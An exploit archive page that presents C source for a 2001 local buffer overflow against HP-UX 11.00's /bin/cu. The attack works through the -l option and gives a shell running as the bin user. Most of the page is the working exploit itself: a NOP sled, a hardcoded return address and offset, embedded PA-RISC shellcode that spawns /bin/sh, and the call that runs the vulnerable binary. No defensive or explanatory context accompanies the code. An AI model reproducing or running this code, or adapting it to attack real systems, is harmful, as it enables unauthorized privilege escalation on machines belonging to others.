exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

exhpcu.c

exhpcu.c
Posted Jan 9, 2001
Authored by Zorgon

HP-UX v11.00 /bin/cu local buffer overflow exploit - Exploits the -l option. Provides a uid=bin shell.

tags | exploit, overflow, shell, local
systems | hpux
SHA-256 | 4eb65814f18d048afcb2595ba4538c73bdf060588b077aeaa9201aff06040d45

exhpcu.c

Change Mirror Download
/* Copyright (c) 2001 Zorgon                              
* All Rights Reserved
* The copyright notice above does not evidence any
* actual or intended publication of such source code.
*
* HP-UX /bin/cu exploit.
* Tested on HP-UX 11.00
* zorgon@antionline.org (http://www.nightbird.free.fr)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200 /* it works for me */

u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

int
main(int argc , char **argv){
char buffer[LEN+8];
int i;
long retaddr = RET;
int offset = OFFSET;

if(argc>1) offset = atoi(argv[1]);
for (i=0;i<LEN;i+=4)
*(long *)&buffer[i] = retaddr + offset;

for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
*(buffer+i) = HPPA_NOP;

memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));

execl("/bin/cu","cu","-l",buffer,0);
}




Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close